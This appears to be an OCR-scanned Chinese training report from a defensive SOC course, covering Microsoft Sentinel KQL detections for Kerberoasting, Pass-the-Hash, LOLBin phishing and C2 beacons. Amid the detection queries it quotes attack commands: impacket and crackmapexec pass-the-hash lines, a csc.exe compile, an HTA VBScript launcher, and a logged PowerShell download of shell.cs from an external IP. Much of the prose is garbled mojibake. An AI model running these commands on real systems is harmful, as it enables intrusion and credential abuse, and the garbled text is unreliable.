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— ~ BB — P b2 404, (TRAININGS—Defending Enter-
prises )
(—) SRt
TEARTGRIEF » B2 5378 SOC 734l > £ Microsoft Sentinel ZElLmE = A > F[E
PR E AT B S (IOA ) FIAEFEIE (I0C) » i BIHS ¥ S EhF E B R IR i
PREZ IS T as Bl g - SRAZ(E T Microsoft Sentinel » EAZ BRI 3 ~ R S a2
FPRJTETTERAREHMEZ - IWEFELZISF B EHE EEEE -
A Bl MEALOS FE I TP i S R 2 Fefln - B2 a0 el {E0H R e Se A 2 o
KBRS MEEESHE (LAB) ZEBRETHERE - (LIREIFTEEZEEANESS -
FEZE LIS > (N TEHRRE S AR ARG 2K H BB S H s I & R By
WEHFHSERM T A2 BB 24 » BECERNAR - M HRA REEEES
8 o Rt > BIARIE L ER RIFR EE - ASORHERST E L SR - BRE
FE - BEPRE R T SRS o

() B KMFERAT 48
1 ~ MITRE ATT&CK ~ D3FEND Kz Atomic Red Team

(1) MITRE ATT&CK @ —{EE: i B R AR B R g eSS - B Bkl BlaY
% (https:/attack. mitre.org ) ©
(2) MITRE D3FEND : —E&¥}# ATT&CK WIFHERAMEL - HERBZR L4/
FEft (https:/d3fend.mitre.org ) °
(3) Atomic Red Team : — f& o] HI Gl & % 7 ® s DAY B JH T B &
( https://atomicredteam.io ) °
2~ SHAREERAY T S B A
(1) $YFHE T E (Phishing )
. R EE T E G UEEER A P i AR SR B E HUERS -
b FESIRES - BT EFEE - BLEE - 2R (MFA) -
(2) s EAPER] (C2) B

a BN R o N BRI — 22 -
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b FEES R © fEp&ImE AT ~ TR (40 Microsoft Sentinel ) ©
(3) #EEEHE (Credential Attacks )
a.Kerberoasting : FIJF] Kerberos JRFEIEF 48 AD -
b.Pass-the-Hash (PtH) : %5HU NTLM Hash E#ETE ()5S -
c JEESTRER © MRS A (EARERRIE AT ~ BUAH Windows Defender Credential Guard
(4) TEEF£E) (Lateral Movement ) J#
a7 SMB ~ WinRM ¥, PowerShell #E{T A AL -
b FEES R © B HUZEH] ~ % Windows HEE
BRI L T
(1) Microsoft Sentinel /74281 KQL # 3
Microsoft Sentinel & Azure Yy SIEM/SOAR IRFS > PIUREEEL AT 4- 22
%53 Kusto Query Language (KQL) #E{TEE I
#ifl - EEEE 24 /NFA AR Kerberoasting K E

SecurityEven

| where EventID == 4769

| where TicketEncryptionType == "0x17"

| summarize count() by Account, Computer
(2) Logstash - BRIy GEaERHE T H - 181 Microsoft Sentinel # 5 o
(3) Sysmon : Windows NEEZHE T B, » SCEkHEFS HEFHEF -
(4) Microsoft Defender XDR : #¢¢5 EDR ~ Defender for Identity > 25 B lmbilhE -
4 ~ T B ZE (B AL 3 TRt
(1) {&H] Pass-the-Hash T %8
a5 IR I NTLM Hash > SEEBEER S A Z47 -
b AT

| where EventID == 4624 and LogonType ==

| summarize count() by Account, IpAddress
c JEHTRIE
()ZEFH NTLM 2858 -
(b)RUH LSA £r3& - [/ 1F Hash f7HU -
(2) {1 DNS EAHHHR



aJUHE TR, ¢ 538 DNS BRI ME %] (DNS Tunneling ) {Hffitw N

b AHMFE

SecurityEvent

| where EventID == 22 and Query contains "txt"

c JES TRl -
()PRH] DNS f#ff » 251k TXT sCekdss -

(b)EE DNS E:#2¢ T E (41 Sysmon ) °

(3) Living Off The Land (LOTL ) Mr#&
IWEEEF 2SS NETH (40 cscexe ~ powershell.exe ) » ZRENFT

a BT
EEIES W ERD B (WTNIIRERES) -

csc.exe -out:C:\Windows\System32\spool\drivers\color\output.exe

c:\Windows\System32\spool\drivers\color\code.cs

bR - EBEREAERE (AWL) KIRHETTHER -

(4) HTA -2
AT 2 A
f5 - a0

<script language="VBScript">

cmd = "powershell.exe -¢ Test-Connection 10.133.251.1xx

= HTA SCHFAT VBScript 2K RGBT TR EIE

fﬂlﬁ

Set runme = CreateObject("Wscript.Shell")

result = runme.Run(cmd, O, true)

window.close()

b FEES R
(5) 5EHI S 17 EEEE % (Forced Authentication )
AT BB AEREAE Y Word SUHEH > SFESZEEMEE NTLMv2

Hash °
b JESEFTRES © FHIE NTLM B#sg {8 A Kerberos » #E e L E Ik es iy S0 E@Es

2 A 0 ZEHY VBScript K GEERFEp {4 2H 8 -

5~ B EE T (Real Intelligence Threat Analytics, RITA)
RITA @ —&ER LR - BN 4= - = C2 (Command and Control)

BT Ry » RITA IV L DhRE LA



(D) AR EHEY IP 2 R E -
(2) IRIEZZ AN R HEGUE TRy - Bl
a8 &R {2 (Connection Skew) * FI ] S AN o
b.BERE (Dispersion) * FIF P iz 4@ ¥ R 72 (MAD) #irE RER
c.#HLRETEL (Connection Count) * (ST Ryl H G A E= AV LR REL -
d.ERR/N (Data Size) © BoHIEIE R & -
RITA H]Ed Microsoft Sentinel 24 > {# A KQL (Kusto Query Language) 2K #E—>547
MrEEH TR o A5 LSRR VB AT B A -
(3) Microsoft Sentinel HHfJ KQL [ H
KQL /2 M* Microsoft Sentinel (YEHFES » FEMNELBHMT - BASEDIEE
BIFE
a.parse HE T FATIRIG HEEERT -
b.extract PREY © Fih EARFZE SRR E N -
c.join HE T B EHIERETEH T
KQL Wy &M n B B Hram 2R as e B e g - 0L 58 LAV RAL -
6 ~ NTLM Egz&E Pass-the-Hash T85!
(1) NTLM Sttt ai
NTLM (NT LAN Manager) s&—fEHkEL/[=]fE (Challenge/Response ) Bse fihags
FHE Windows 238y S {nless - HEEREE |
a. % Pl R B A L B AR es » WA R RIS &R -
b. Ik es A F P i ik B i R FE Pk B, (NTLMv1EE 6561 ) °
c.F Pl A FIFFEERY NTLM R EEPREGE TN - WSS -
d.fEIAR s RHE FH & A ~ BRAGHRER DL R 35 P i [ g ik 2 dekdzediles (DC) -
e.DC BEFAHER AR NTLM #2E @ TPk - UChCRIENES R -
{51k 25 A1 2 = i 28 S RE R D R B
(2) Pass-the-Hash I B&fi# AT
Pass-the-Hash (PtH) ‘& —fEIC Rl » P8 i o BH SR bl Bl AT {5 FH A R E
HY NTLM #EREETE 05 - ERED T ¢
aBEEEBRT R (41 Mimikatz) {£2FFacEc i THeil NTLM #EE -
bR R E A HA e i EETT B E 7 -
cHEBEEH P TEINTES » FHBURER -
() HHE PHKETH



a. pSexec.py

proxychains psexec.py <user>@<target> -hashes <lmhash>:<ntlmhash>

b. wmiexec.py

proxychains wmiexec.py <user>@<target> -hashes <Imhash>:<ntlmhash>

c. crackmapexec

proxychains crackmapexec smb <target> -d <domain> -u <user> -H <NTHash> -x
(4) PtH B{HHITT7E
{EUHT PtH PSR AYBRSEAE S 43T Windows B HEE - Frhli@$E 4 ID 4624 (5
%) > AJRERY Kusto F220E (KQL) #1°F

| where LogonType == 3

| where AuthenticationPackageName == "NTLM"

| where LogonProcessName has "NtLmSsp"
(5) PtH P S ol
a. B A Windows Defender Credential Guard © ## % /&35 7 fE R LB e > [k
NTLM FEZ={EHHRRL -
b.g/IMEfER NTLM 5888 : (B5ERA Kerberos » AGFRA NTLM B FHEE
c. Bt LAPS (Local Administrator Password Solution ) @ A& a& Hia% & 1LHY
FHEEHE TN - B OTEA B R -
AR = B E SRS+ PRI S 58 DA ik 32 R e
e BEAERE BT R« oo EEE B IEARE IP S SR -
(6) NTLM H 5E77 M7 B pr B2 fE ¥ SR
#73#% Microsoft Sentinel & SIEM T 8B - ZH&% =] ARG /04 NTLM Bgsg HEd - i
R DL NP BR A Tl A
a 4624 B AR T & AJEAY -
bR JOIN A543 Hr 2k 1P B B AR ARV ER % -
c.{E M arg_max() HEE TS AGCEk > FHVBESEEE -
KQL &7

SecurityEvent
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| where EventID == 4624

| summarize arg max(TimeGenerated, *) by Account, Computer
NTLM Bz R H S i LB A4 - (15 Pass-the-Hash i Ry 8834 5 R Y= A
FEENET - $HARIERR TR RN - B Wi ~ REMR e IMb R 58 bEs
ro Tl o PR(ERICEEE b o [EI0F o 254 SIEM T EFFEREE - AesgRi S8R V81T
B TECRAHSE BT -

7 ~ Active Directory Certificate Services ( AD CS)

AD CS Z—THHEeErIiRs - R EHREAERS - IR S e &
T = R > RS EFE R B EEE A AD CS Ul - Al ReE SRR B R
S REAVATHL -

(1) AD CS & FLRIF
a. ESC1 (Enrollment Services Configuration 1) : PEEE o H] FH $& sRast & 1Y B Re
A EEUSRNEEIRFAVESS » EMETERAZE) -
b.59/&E kS BEIRECRIEMERCE R AD CS 1l g Mt B & [ ERL 2R
TEETEE T -
(2) AD CS B8 M
A B H SR A R EE) » DU R RAVEAID -

a. Event ID 4886 : UZEZEEEFH K -

b. Event ID 4887 * #LAEBES I T

c. Event ID 4768 : Kerberos 58 =8 35K -

(3) FEHITRHE

a. ST EHY AD CS EREfER - Filnfid KB5014754E 1R 55558508 iR -

b. B8RS E (Strong Certificate Binding Enforcement ) e
8 ~ Kerberos {73 B BLI 4

Kerberos & —THA N HHI S (7B ek - T Lt g &5 -
HFZHMERE - @it (KDC) -~ ZEEFHE (TGT) KikFEEE (TGS) -

(1) % R Kerberos I8
a.AS-REP Roasting: BB A DLEHEIREE Kerberos FHRRREHYIR M1 THESR
BES TR fiE
b.Pass-the-Ticket (PtT) : #8EUA UMY Kerberos 245 » WAFAEREHE R & ERHFE -
(2) Kerberos K& (e HI

11



Bt MO Has A T sE S E) -
aBvent 1D 4768 @ & I ¥ ok TGT Wi - # B 4% CertlssuerName -
CertSerialNumber ZEff
b.Event ID 4769 * fR#5HE5EK » BB HY TargetUserName
(3) JEHT Mg
a.BtH Kerberos TH5adag LAPI 1L AS-REP Roasting
b EFAE AR R - B IR R IR ERRS - (= &I EIRYE -
9 ~ DCSync K B2 1E
DCSync &M Active Directory 4 25t HIHTSET% - IEEZ AT LA B
A " Replicating Directory Changes ; HEFRHUIRS > FEBEAE Iz €S 1 HUS A=
fH -
(1) DCSync B2 © BUEH R II#AIT DCSyne 1% @ FIDUBHUEES N A IRTE
HYEHERERE - HE—2D YT Pass-the-Hash BCHEA A EE -
(2) DCSync HE{EUH] © #3 Event 1D 4662 » EMRSEFH 55K H $#18 SIHEIREE »
Z=R5AIBEE SubjectUserName F1 AccessMask H#fir ©
(3) JEHT Mg
a B T EIRFE T Replicating Directory Changes | fEFE e
b.f# A Microsoft Sentinel & T B & Bi#h{T KQL &350 - B2 A 0] % &8 -
10 ~ TeEBEEETIA
(1) %= SMB 1 WinRM #E1Th& =72 8
a.SMB &1 WinRM AT # iR [ #6 8) » T8E 3w #E Hh st g e A Tl i T -
b5k
()BEEFEAR B A FIACERY WinRM #H#HE -
(b)734fr PowerShell HEEECEE @ 3SR ET R -
(2) DCOM HY % F (=]
a.DCOM F]LL#Z 44 RPC 7E48Es @z 42 -
PRCSZREESIM -\ Windows\system32\svchost.exe -k DcomLaunch
cJESSHME © AT RENTEPHY Parent Process Bl
(3) MSSQL &k {mlflkasryiH ¢ 243 OPENQUERY pREUE Em EasgiT SQL
RS BEITRIEFHL -
SQL #af :

12



SELECT * FROM master..sysservers;

SELECT * FROM openquery('instance', 'SELECT * FROM master..sysservers');
11~ ZEIm SR B ] el
(1) Azure Instance Metadata Service (IMDS ) I%&
a. %53 IMDS APT o] HU{S R SERR A AN -
b.JiE S ol
@EEILFGEFRAT - FHAEIRLZEFAL -
(b)EEHEES TP 169.254.169.254 HEFFFEL (Z0 N E ) -

(2) Azure Managed Identities HY7E: F
B CFENFRCATEL Azure B ©
b FEESHRNS © ME B A HEE » BTSN FRUSE) -
(3) FEFHFZZEF 48 (Entra Apps Consent Phishing )
afF 5 e AR S EOR (B P U &R -

b FEES R
(R PR A Bt - IRFIREEERaeny e R = -
(IR EEHERE L » SO FER T IEF R
12 ~ FESS RIS SRS
(D) FEFFE{EHIBE T © 55 A Microsoft Sentinel ~ Logstash 25 T. ELES 2 B JE#f o

(2) hsa S buestkd] © Bt MFA - [#{RBEEEEf -

Q) FrEEITEE ISR - 556l 8 TRy s - IfEERLEEH -

(4) ERFAETZZENE ¢ H Atomic Red Team 55 T HaFAL4H AR 258

(=) 4EEFEHE (LAB) 2 BEETHERE
1 ~ B&5 : Microsoft Sentinel f&/7
Microsoft Sentinel & — #ZX ZE U IR 4= SIEM  ( Security Information and Event

Management) & SOAR (Security Orchestration, Automation, and Response ) @i 7% »
B LB LRI RE 7 - B (N B E B ERE ) - AEFHRE KM
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Microsoft Sentinel HYREAERIE - WEBELEEERG] - R BHLNE{E Kusto Query
Language (KQL) SRAETT L2 FE(F 71T -
(1) Microsoft Sentinel f&}
Microsoft Sentinel & Microsoft Azure PEEHYZ2EH T . - FEIFEEHE ¢
a. BRI S (Data Collection ) * ¥4 Azure BRIACREISE = HEE
b =M (Threat Detection ) * ] Al FAREEE BRI AR E R EITFy -
c.EEA[o]fE (Incident Response ) : #5548 SOAR EH&N{L[ClfERZ -
d.ZHgE M (Log Analysis) * (A KQL & HEEFR}
(2) EHEEEL T
a B EFFE EF ¢ Kerberos AR5 ZEIEEE K (Event ID 4769)
HE - Hatidk 180 38 AHY 4769 F35 4L
(2)BFEL Microsoft Sentinel » Fij{E Logs °
(b)FEA R Em ALL T KQL &
/R 180 7y S ST
| where TimeGenerated >= ago(180m)
/A5 Kerberos AR a% S2 45 i oK B4

| where EventID == 4769

[at BEE A EL

| summarize EventCount = count() by EventID|
(C)TEH » BH EventCount 455 o
b. B AR E Y LA
B : SRR3R 4769 HAERY 1%
(@£ Logs fi ALL N &3 -

SecurityEven

where TimeGenerated >= ago(180m),

| where EventID == 4769

| summarize EventCount = count() by EventID, Computer
(T > AR EAER A LT -
C. A FAIARBHIRT E A kA {5 FH =& B A 1P
HAR @ R AR S/INEF AREARSH T T {Fh DE-WKS-05 & 2K H Wil 1P

14




(@)1F Logs i ALL T 23 -

SecurityEven

| where TimeGenerated >= ago(5h)
/1% RS N o
| where EventID == 4624

| where Computer contains "de-wks-05"
RS T -

| where LogonType == 7

| where not(ipv4 1s_private(IpAddress))

| project Computer, LogonType, TimeGenerated, Account, IpAddress
(L) TH R > #1H Account A1 IpAddress 7455 -
(3) FERSTRME
##5##8 Microsoft Sentinel #Y KQL &5y » FAMRES PR T Ze 4 - il
a.sior | S H S O EREET T Ry (BIANAEIFEI A 8 2 1Y Kerberos IRISSEZRE K ) ©
b EL FIEEEBIHVACR L% - B E L EBGEHTE LR -
cOMTBAEM I AREIRENFEIIT R -
AT THYMES RS -
aBUHRET ER - st¥sERESEA (40 EventID 4769) 5% E HENE T -
bEHIEES A HGE © ERARIENI T ATT A AR g 3434 -
c.of b HUZER] © HEPRATA (&R P & B A E R RECE - WHEMZN
Thgsg (MFA) -
2~ BYB I
$Jf4 (Phishing ) K82 RAVEREIEE 7% - B AR TERE
Bk SFEZFEHENTEEIES > EMAUGRSFRVER - AEESRE R
Microsoft Sentinel #E{ TEE (=M » 1737 4# KQL (Kusto Query Language ) 282K 5347
AT 8 /INRFAY SR YA B
(1) B A RHY LI ZE
aJjiE— t (EHSNBER (LOLBA APD)
() EZEEEREITFE (10C)

let 10¢c = dynamic(["http", "ftp"]);
(b)fit LOLBAS API J&EH —#EN7 fEZE /55 -

15



let binaries = externaldata(filename:string, description:string, author:string,

loldate:datetime , command:string, commanddesc:string,
commanduse:string, commandcat:string, commandprivs:string, mitre:string,

0s:string, paths:string, detections:string, resources:string,

acknowledge:string, url:string)[ @ "https://lolbas-

project.github.io/api/lolbas.csv"] with (format="csv",

(CHEE i 1

let lolbinexe = binaries | distinct filename;
()T KQL &z LAm i 8 /N Y AT S E A -

insecurity_custom_CL

| vhere TimeGenerated >= ago(8h)

| where not(winlog_event_data_User_s has_any("SYSTEM", "NETWORK
SERVICE", "LOCAL SERVICE"))

| where winlog_event_data_ParentImage s has_any(lolbinexe)

| where winlog_event data_ParentImage s != @'C:\Windows\explorer.exe'
| where winlog_event_data_CommandLine_s has_any(ioc)

| project TimeGenerated, winlog computer name_s,

winlog event data User s, winlog event data ParentImage s,

winlog event data Image s, winlog event data CommandLine s

| sort by TimeGenerate
bJTE T (EHIAMER (FEhEs LOLBIN #ErFE)
() EZBEERTIFAE (10C)
let 10c = dynamic(["http", "ftp"]);
(b)EFCAIAY LOLBIN —#Efr % :

let lolbinexe = dynamic(["Powershell.exe", "Mshta.exe", "Cmd.exe",

"Regsvr32.exe", "Wscript.exe"]);
(©)FT KQL & -

insecurity custom C

| where TimeGenerated >= ago(&h)

| where not(winlog_event data User s has any("SYSTEM", "NETWOR
16



SERVICE", "LOCAL SERVICE"))

| where winlog event data Parentlmage s has any(lolbinexe)

| where winlog_event data_ParentImage s != @'C:\Windows\explorer.exe'

| where winlog_event_data_CommandLine s has_any(ioc)
| project TimeGenerated, winlog_computer name_s,
winlog event data User s, winlog event data Parentlmage s,

winlog event data Image s, winlog event data CommandLine s

| sort by TimeGenerate
RSES
EEEGERT - TR LUERLL N &S
a AR EA4HE (hostname) frfiz
bz EEMRIE (targeted user) Rz
BEg SNy = v Sl G\ - DIl inl02 cvent data CommandLine SEiEiAVA
HIEE R
TimeGenerated: 2024-07-10 15:32:00

winlog computer name_s: UK-WKS-110.insec-corp.local

winlog event data_User s: mdrinkwater

winlog event data CommandLine s:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -¢c wget -O

c:\Windows\System32\spool\drivers\color\shell.cs http://52.170.26.160/shell.cs
©Fap

#7545 Microsoft Sentinel Kz KQL RJ BT A 835 R FH LOLBAS il 2% N

ERAEES - G RS AE T payload #E1THCEE - UBE E A powershell.exe

NEOETEERER

aspfbiR PR - BHZR RS (MFA) IEEERES AT -

bJEMENE 5 © B AppLocker BCHA B TECRIH FEARTAEATRTTHE -

cieft B T4 e - RISV RBHEAEIISH - ff5 8 TERE -
dEHZ 2HA - EEARGHEI T TEE SR (Threat Hunting ) ©

3 ~ C2 Beacons (HTTPS) (&= HIEA 5 #7
REVEGHE$HET C2 (Command and Control) Beacons #9 HTTPS i &2 T=H] -
R4S DU T s 720 B ml M CRAE (R RS B B A B E E -
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(1) BrABY Logs HEEE -
(2) HEGRIEFEIERERZRMS -
(3) FITLLN KQL &5

let TotalEventsThresholdMin = 24;

let DurationThreshold minutes = 180;

let ScoreThreshold = 0.80;

let MaxJitterInSeconds = 30.0;
=3

let MaxDatalitterinBytes = 32.0;

let CompromisedDeviceCountMax = 1;

let AllBeacons = materialize

| where TimeGenerated between (ago(starttime)..ago(endtime))

| where Direction == "outbound"

| summarize hint.strategy=shuffle start=min(TimeGenerated),
make_list(TimeGenerated), make list(BytesSent),
TotalBytesSent = sum(toreal(BytesSent)),
TotalBytesReceived = sum(toreal(BytesReceived))

by Computer, Sourcelp, Destinationlp, DestinationPort, Protocol

| extend duration_minutes = datetime diff("minute", end, start)

| where duration_minutes >= DurationThreshold minutes

| where array length(list TimeGenerated) >= TotalEventsThresholdMin

| project duration_minutes, TotalBytesSent, Computer, Destinationlp, Protocol,

GOMEBEHEHEER FEUTS2HUEGSEE T HER
TotalEventsThresholdMin ~ DurationThreshold minutes ~ ScoreThreshold
(5) &S ORAF Sy LR EY
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afE Logs B LIA » #&§E"Save" > "Save as function” °
b.ae e ME— H 2 s Y e B A B 4

(6) It EORFHTRRE

a.#E A "Tables"ZE B8 -

bR (IAYTNREEE R ( =RlE T ) » &% Functions” -

c TR PR B L IEREORAFIE BR "Workspace Functions"#357
(7) {56 e EET T 20T

BUTUI N ERE > DUEREE(E B TCP 443 7MY E#e

Beacon_Detectior

| where DestinationPort == 443
(8) BRI E
a MR AR - TS IRIEEE - B
(a)ConnectionCount ( ZEHLFZEL )
(b)TotalBytesSent £ TotalBytesReceived (#ABIFINHIE R & )
(c)score ( Beacon JE\fmEAG 478 )
b1 Destination IP FYFHA » BRI B R AETTLE Y -
©) FEbREiH
aBHRE IR IEH RS (40 Windows Update ) {455 H4EE -
b. 6 PR SR BRI ELES - WS 5 B AR IR 6] SR -
JEEST TR

ARSI HTRC I BN 48 & T C2 Beacons HTTPS it & @ ik EHAR THEIE &5

AR TPy AT Ry
(1) hosedEesim E8E - FrnlE s E i 141443 -
(2) s B HBIZ %S - SRS C2m i RN 2 KIAH BE B -
Q) EHFEERNSE - DIREA FEREAR R EHEE -

4 ~ C2 Beacons (DNS)

REEEGREARIIE Azure BREEH - {1 F Microsoft Sentinel #E{T C2
DNS {EtEkl o3 - wzadsss Sysmon HEE » 3A1VEEHIEE DNS J&#) - A IH
Microsoft XDR HE&H#EITH#E—0FHE -

(1) EAIRE TG KAy 4k
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a.35%& 4% [ogs > Tables > LogManagement > Event °
b.ENTT LA N A E S AR SE DNS A s =4 -

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))

| where EventID == 22,

| where Source == "Microsoft-Windows-Sysmon"

| parse EventData with * '<Data Name="QueryName">" QueryName "<" *

| extend DomainName = extract(@"\.{0,1 }(["\.J+\.[MN\.JH\.{0,1}$', 1, QueryName)

| where 1snotempty(DomainName)

| summarize UniqueDomain=make set(QueryName) by DomainName

| extend UniqueSubdomainCount = array_length(UniqueDomain)

| sort by UniqueSubdomainCount
o fiEfT EventData % » $2HY QueryName ° B.
o [EHTERFRENIEI A -
o IBEASER > TR TIEEEREE -
o (REGEERTEHFy - SHE R T 495 -
(2) &%l EEER
a. 7 A Microsoft Sentinel » #£#% Logs > Tables > LogManagement > Event ©
b TLA N &R AR A a2

Event]

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
| where EventID == 22

| where Source == "Microsoft-Windows-Sysmon"

| parse EventData with * '<Data Name="QueryName">' QueryName "<" *

| extend DomainName = extract(@"\.{0,1}(["\.J+\.["\.]H\.{0,1}$', 1,

QueryName)
| where 1snotempty(DomainName)

| summarize UniqueDomain=make set(QueryName) by DomainName

| extend UniqueSubdomainCount = array_length(UniqueDomain)
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| top 10 by UniqueSubdomainCount
| sort by UniqueSubdomainCoun

| render piechart with (legend=hidden)
o MRERFRIEEREERT T E i
o {#FH render piechart DA[EI#fEIBURES R -
(3) Z&H Microsoft XDR Z5f &%

a.#E A Microsoft Sentinel » #£#5# Logs > Tables > Microsoft Sentinel > AlertInfo °
b T LA T A FE R & DNS AHREEE -
AlertInfo

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-

07-16, 23:59))
| where Title contains "DNS"

| where ServiceSource == "Microsoft Defender for Identity"
AR BHVE S 1D » B rallzss ¢

AlertEvidence

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))

| where Alertld == "aa4804c4c3-3ac3-4a41-8876-4abedcSec74d"

o AlertInfo A FHAKE L DNS HHER & -

o i Alertld £ AlertBvidence Frh &k AL BEEHE -
K i ER » FRRES A AR A Azure BEEE VLR C2 DNS I8 T B © (HFH
Microsoft Sentinel HYAELIAE » A DU E (1 55 DNS J&H) » 645 & XDR #E1T
FEATE  ERIRE L S -
5 ~ Kerberoasting Zr 8534

Kerberoasting f&=—7f#E+ ¥t Active Directory (AD) EREEAYICEER T » HBEE A
Kerberos ARi% 521 (TGS) HYNNES55%E - BUEEESR I AR B IRSE 20 o Mh & RR
BIRHEAVBA TN » WEEHEREH TR -
(1) EEHEIT 7 /NFANAY Kerberoasting S5 &)

SecurityEvent

| where TimeGenerated >= ago(7h)

| where EventID == 4769
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"o
:

| parse EventData with * '<Data Name="TicketOptions">' TicketOptions "<

| parse EventData with * '<Data Name="TicketEncryptionType">'

| where TicketEncryptionType 1n ("0x17", "Ox11", "0x12")

| parse EventData with * '<Data Name="IpAddress">" IpAddress "<" *

| extend IpAddress = extract('(?:192.%)', 0, IpAddress)

| parse EventData with * '<Data Name="Status">" Status "<" *

| where Status == '0x0)

| parse EventData with * '<Data Name="ServiceName">' ServiceName "<" *

| where ServiceName !endswith "$" and ServiceName != "krbtgt"

| parse EventData with * '<Data Name="TargetUserName">' TargetUserName "<" *

| where TargetUserName !contains "$@" and TargetUserName !contains
| project TimeGenerated, ServiceName, TargetUserName, TicketEncryptionType,
TicketOptions, IpAddress
o HEEAT T /NFFAHYEL: (BEventD == 4769) °
o FEATREECEERR N A ~ 2O 1P ~ iRER - ARG A4 TE L B RS & 4
1
o fifii# RC4-HMAC ~ AES128-CTS-HMAC-SHA1-96 ~ AES256-CTS-HMAC-
SHA1-96 HIhDEHARY -
o DEFRZRGIRIT $45RE) K krbtgt MRIE -
o bR HIERSREA B A R R HYRC 8% -
o BURGERIARIFRETHER -
(2) & Microsoft Defender for Identity EC#%
| where TimeGenerated between ( datetime(2024-07-16, 00:00) .. datetime(2024-07-
16, 23:59) )

| where AttackTechniques contains "Kerberoasting"

| where ServiceSource == "Microsoft Defender for Identity"

o EJE 2024 47 H 16 HAVELEE ©
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o 313} AttackTechniques 7 EFiEEEL 2 "Kerberoasting" HYECEE ©
o TEEZECLERAIE Sy Microsoft Defender for Identity ©
(3) FEHFH ¢
a. H AR P BB AL B aE IR A2 -
b.{E RC4-HMAC fIEHI AT Ry -
c. AR IP Braf ok H YA BHSMER AR
(4) [N
a. B Azure AD WYRIFAFEURES » II5@5EES -
b. E A = JE SRS R A SR 5
c.#lZ SIEM B2t fll - BB EAEDIER TR
6~ BERERGHF
ERREH (Join) &R T A ATEGEAVIRIE - FEMTRA FERE
IRIRFE L L [F R A T TUCHE - ABE R EMR R E ST R a0t 7= fREAE
&0F (Inner Join) ~ ZEAMNEEBE (Left Outer Join ) ~ AN &G (Right Outer Join )
E4MEEHF (Full Outer Join) PARA-E6f (Semi Join) B2 &4 (Anti Join)
(1) W& GF (Inner Join)
PER & GF e iR B R {EE R T E AR LCECEC 8k A T -
Kusto Query Language (KQL) ST EX :

let DomainMapping = datatable(WorkstationName:string, Domain:string),

let SystemMapping = datatable(WorkstationName:string, HostLocallpAddress:string)

"az-wks-05","192.168.2.5",
"az-wks-06","192.168.2.6"
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"az-wks-07","192.168.2.7"
"az-wks-08","192.168.2.8"

DomainMapping

| join kind=1nner SystemMapping on WorkstationName
AT T 2R [1#E DomainMapping 52 SystemMapping R {8 &% 1 UEAC
Y WorkstationName °
(2) ZEAMEREPE (Left Outer Join )
AN & HFE R B /A RAFTA RS - S ARTIZACEAIE S NULL (€ -
KQL 72058 -

DomainMapping

| join kind=leftouter SystemMapping on WorkstationName
AU TR AR IR AR AR, R E B S ER R
NULL -
(3) HoMEREHE (Right Outer Join )
BN E e R B AR RCH: > SR A TLECRBE S NULL {5 -
KQL #7255 -
| join kind=rightouter SystemMapping on WorkstationName
AT TR AR IR G RAVECH, 2o RIS E B S ER R~
NULL -
(4) &4MEEHE (Full Outer Join)
I E e R B/ ARVFT AR R MEULECRHE S NULL fH -
KQL 720 5%
| join kind=fullouter SystemMapping on WorkstationName]
TR B /e AR EFTAE SCE: - WA SEUCECIFEE 78 NULL 1 -
() F&ff (Semi Join)
B E D (Left Semi Join) * 3R [BI/EFR AR A RATUCECAT
KQL #7255 -

24



DomainMapping|

| join kind=leftsemi SystemMapping on WorkstationName

bAFERE (Right Semi Join) * AR[E[AFR PAFAEZERATUERCTT -
KQL 72088 -
DomainMapping
| join kind=rightsemi SystemMapping on WorkstationName

(6) & PF (AntiJoin)

a /e EBF (Left Anti Join) @ REBIZEFRPAFAENGELIIT ©

KQL {20 8% -

DomainMapping

| join kind=leftanti SystemMapping on WorkstationName
b & 6E (Right Anti Join) * E[EIERFRIFFER R -
KQL # T 5% -

DomainMapping

| join kind=rightanti SystemMapping on WorkstationName
7 ~ {2 Pass-the-Hash (PtH) X%
A EE S s F AR BH LA £ Microsoft Sentinel B3 A (RIS 43 M7 Pass-the-
Hash (PtH) M ¥ -
(D) WM+ SEAERE 24 /NF S AT NTLM 485& S (0 Bsg B4 -
a. 7 A Microsoft Sentinel > Logs °
b TLAT KQL & LABREE S
SecurityEvent
| where TimeGenerated >= ago(24h)

| where EventID == 4624

| where LogonType == 3

| where AuthenticationPackageName == "NTLM" and LogonProcessName has

"NtLmSsp"
| where AccountType == "User"
AR A RE R B R B ECE: » FRHE— PRI -
(2) T - EEERRGHF (oin) HRHATR MK ~ ACRIRSE ~ HERIRST H
TR
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a. 7 A Microsoft Sentinel > Logs °
b.ETTLAN KQL A skl PtH 2 )i Bl H A -
let QueryLookBack = 24h;

let IpHostNameLookup =

[ — ]

| mv-expand ComputerPrivatelPs
| extend ComputerPrivatelPs = tostring(ComputerPrivateIPs)

| distinct IpAddress = ComputerPrivateIPs, Computer

let NtlmNetworkAuthEvents =

[ — ]

SecurityEvent

| where TimeGenerated >= ago(QueryLookBack)

| where EventID == 4624

| where LogonType == 3

| where AuthenticationPackageName == "NTLM" and LogonProcessName has
| where AccountType == "User" and TargetUserName !~ "anonymous logon"
| where ipv4_1s_private(IpAddress) == true

| project NtlmAuthEventTime = TimeGenerated, TargetAccount = Account,

TargetHost=Computer, IpAddress
(3) H#EFE ST @ & DeviceLogonEvents FAFHTEFEE T % (DE-WKS-06) L
NTLM Bt S -
a. 7 A Microsoft Sentinel > Logs °
b.#ITLA T KQL &5

DevicelLogonEvents

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))

| where Protocol == "NTLM"
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| where ActionType == "LogonSuccess'

| where DeviceName == "de-wks-06.insecurity.local"

| sort by TimeGenerated desg

| project TimeGenerated, Protocol, ActionType, DeviceName, LogonType,
| where ipv4 1s_private(RemotelP)
(4) FEHIORMES -
A BB E IR T ¢ BE Microsoft Sentinel #7371 » $H¥FEH NTLM BT s
b.JE{E NTLM {55 R © B (A NTLM » 22 22419 Kerberos Egizs it -
cofbiR P24 © B2 A5 MFA) DR R E b -
d.E A BLUEGR  E AT HEDESR - MR R S AR -
8 ~ {E Pass the Ticket T %&
Pass the Ticket (PtT) /& —7f@$t ¥ Kerberos S iaakny I Bty - DUBE# A A1
FEHUTY Kerberos ARISEHE (TGS) ARAFHUAEHS &R - 11 A8 S5 1 (58 FH 4 Y SO -
(1) FEACEEERBEEE "Logs" -
